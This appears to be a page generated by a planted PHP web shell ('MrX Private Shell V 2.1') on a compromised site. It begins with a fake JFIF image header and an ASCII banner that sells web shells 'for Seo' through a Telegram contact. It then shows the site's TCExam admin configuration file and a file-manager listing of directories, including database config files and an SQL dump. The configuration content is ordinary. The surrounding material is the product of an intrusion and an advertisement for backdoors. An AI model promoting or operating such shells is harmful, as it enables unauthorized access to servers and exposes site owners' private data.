����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
//============================================================+
// File name : tce_config.php
// Begin : 2001-09-02
// Last Update : 2023-11-30
//
// Description : Configuration file for administration section.
//
// License:
// Copyright (C) 2004-2026 Nicola Asuni - Tecnick.com LTD
// See LICENSE file for more information.
//============================================================+
/**
* @file
* Configuration file for administration section.
* @package com.tecnick.tcexam.admin.cfg
* @brief TCExam Configuration for Administration Area
* @author Nicola Asuni
* @since 2001-09-02
*/
// --- INCLUDE FILES -----------------------------------------------------------
require_once '../config/tce_auth.php';
require_once '../../shared/config/tce_config.php';
// --- OPTIONS / COSTANTS ------------------------------------------------------
/**
* Max memory limit.
*/
define('K_MAX_MEMORY_LIMIT', '512M');
/**
* Max number of rows to display in tables.
*/
define('K_MAX_ROWS_PER_PAGE', 50);
/**
* Max size to be uploaded in bytes.
*/
define('K_MAX_UPLOAD_SIZE', 25_000_000);
/**
* List of allowed file types for upload (remove all extensions to disable upload).
* FOR SERVER SECURITY DO NOT ADD EXECUTABLE FILE TYPES HERE
*/
define('K_ALLOWED_UPLOAD_EXTENSIONS', serialize([
'csv',
'tsv',
'xml',
'txt',
'png',
'gif',
'jpg',
'jpeg',
'svg',
'mp3',
'mid',
'oga',
'ogg',
'wav',
'wma',
'avi',
'flv',
'm2v',
'mpeg',
'mpeg4',
'mpg',
'mpg2',
'mpv',
'ogm',
'ogv',
'vid',
'pfx',
'pem',
'crt',
]));
// -- DEFAULT META and BODY Tags --
/**
* TCExam title.
*/
define('K_TCEXAM_TITLE', 'TCExam');
/**
* TCExam description.
*/
define('K_TCEXAM_DESCRIPTION', 'TCExam by Tecnick.com');
/**
* TCExam Author.
*/
define('K_TCEXAM_AUTHOR', 'Nicola Asuni - Tecnick.com LTD');
/**
* Reply-to meta tag.
*/
define('K_TCEXAM_REPLY_TO', '');
/**
* Default html meta keywords.
*/
define('K_TCEXAM_KEYWORDS', 'TCExam, eExam, e-exam, web, exam');
/**
* Relative path to html icon.
*/
define('K_TCEXAM_ICON', '../../favicon.ico');
/**
* Theme for the admin area
*/
define('K_ADMIN_THEME', 'default');
/**
* Path to public CSS stylesheet for LTR languages.
*/
define('K_TCEXAM_STYLE', K_PATH_STYLE_SHEETS . K_ADMIN_THEME . '.css');
/**
* Full path to CSS stylesheet for RTL languages.
*/
define('K_TCEXAM_STYLE_RTL', K_PATH_STYLE_SHEETS . K_ADMIN_THEME . '_rtl.css');
/**
* If true display admin clock in UTC (GMT).
*/
define('K_CLOCK_IN_UTC', false);
/**
* Max number of chars to display on a selection box.
*/
define('K_SELECT_SUBSTRING', 40);
/**
* If true display an additional button to print only the TEXT answers on all users' results.
*/
define('K_DISPLAY_PDFTEXT_BUTTON', false);
/**
* Name of the option to import questions using a custom format (file: admin/code/tce_import_custom.php).
* Set this constant to empty to disable this feature (or if you haven't set tce_import_custom.php)
*/
define('K_ENABLE_CUSTOM_IMPORT', '');
/**
* Name of the button to export results in custom format (file: admin/code/tce_export_custom.php).
* Set this constant to empty to disable this feature (or if you haven't set tce_import_custom.php)
*/
define('K_ENABLE_CUSTOM_EXPORT', '');
/**
* If true enable the backup download.
*/
define('K_DOWNLOAD_BACKUPS', true);
/**
* If true check the unicity of question and answer descriptions using a binary collation when using MySQL.
*/
define('K_MYSQL_QA_BIN_UNIQUITY', true);
/**
* Binary collation used for the question and answer uniqueness check when K_MYSQL_QA_BIN_UNIQUITY is true.
* The collation must be compatible with the character set of your database columns:
* use 'utf8_bin' for utf8 (utf8mb3) columns, or 'utf8mb4_bin' for utf8mb4 columns.
*/
define('K_MYSQL_QA_BIN_COLLATION', '[[utf8]]_bin');
/**
* Set the UTF-8 Normalization mode for question and answer descriptions:
* NONE=None;
* C=Normalization Form C (NFC) - Canonical Decomposition followed by Canonical Composition;
* D=Normalization Form D (NFD) - Canonical Decomposition;
* KC=Normalization Form KC (NFKC) - Compatibility Decomposition, followed by Canonical Composition;
* KD=Normalization Form KD (NFKD) - Compatibility Decomposition;
* CUSTOM=Custom normalization using user defined function 'user_utf8_custom_normalizer'.
*/
define('K_UTF8_NORMALIZATION_MODE', 'NONE');
/**
* Path to zbarimg executable (/usr/bin/zbarimg).
* This application is required to decode barcodes on scanned offline test pages.
* For installation instructions: http://zbar.sourceforge.net/
* On Debian/Ubuntu you can easily install zbarimg using the following command:
* "sudo apt-get install zbar-tools"
*/
define('K_OMR_PATH_ZBARIMG', '/usr/bin/zbarimg');
/**
* Defines a serialized array of available fonts for PDF.
*/
define('K_AVAILABLE_FONTS', serialize([
'courier' => 'courier',
'helvetica' => 'helvetica',
'times' => 'times',
'symbol' => 'symbol',
'zapfdingbats' => 'zapfdingbats',
'DejaVuSans' => 'dejavusans,sans',
'DejaVuSansCondensed' => 'dejavusanscondensed,sans',
'DejaVuSansMono' => 'dejavusansmono,monospace',
'DejaVuSerif' => 'dejavuserif,serif',
'DejaVuSerifCondensed' => 'dejavuserifcondensed,serif',
'FreeMono' => 'freemono,monospace',
'FreeSans' => 'freesans,sans',
'FreeSerif' => 'freeserif,serif',
]));
// --- INCLUDE FILES -----------------------------------------------------------
require_once '../../shared/config/tce_db_config.php';
require_once '../../shared/code/tce_db_connect.php';
require_once '../../shared/code/tce_functions_general.php';
// --- PHP SETTINGS -----------------------------------------------------------
ini_set('memory_limit', K_MAX_MEMORY_LIMIT); // set PHPmemory limit
ini_set('upload_max_filesize', K_MAX_UPLOAD_SIZE); // set max upload size
ini_set('post_max_size', K_MAX_UPLOAD_SIZE); // set max post size
ini_set('session.use_trans_sid', 0); // if =1 use PHPSESSID
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| images | Folder | 0755 |
|
|
| php53 | Folder | 0755 |
|
|
| php56 | Folder | 0755 |
|
|
| php71 | Folder | 0755 |
|
|
| php81 | Folder | 0755 |
|
|
| php82 | Folder | 0755 |
|
|
| upgrade | Folder | 0755 |
|
|
| changelog.txt | File | 2.65 KB | 0644 |
|
| check_utf8.php | File | 1.07 KB | 0644 |
|
| clone.php | File | 5.44 KB | 0644 |
|
| edit.php | File | 4.95 KB | 0644 |
|
| edit.xml | File | 433 B | 0644 |
|
| extend.php | File | 11.32 KB | 0644 |
|
| fileindex.php | File | 644 B | 0644 |
|
| import.php | File | 3.35 KB | 0644 |
|
| info.xml | File | 2.48 KB | 0644 |
|
| install.js | File | 921 B | 0644 |
|
| install.php | File | 6.73 KB | 0644 |
|
| install.xml | File | 750 B | 0644 |
|
| md5 | File | 2.84 KB | 0644 |
|
| notes.txt | File | 1.12 KB | 0644 |
|
| tce_config.php | File | 5.94 KB | 0644 |
|
| tce_db_config.php | File | 4.12 KB | 0644 |
|
| tce_general_constants.php | File | 2.46 KB | 0644 |
|
| tce_paths.php | File | 4.72 KB | 0644 |
|
| tcexam.sql | File | 19.1 KB | 0644 |
|
| tcexam.zip | File | 49.69 MB | 0644 |
|
| update_pass.php | File | 298 B | 0644 |
|
| upgrade.php | File | 5.27 KB | 0644 |
|
| upgrade.xml | File | 381 B | 0644 |
|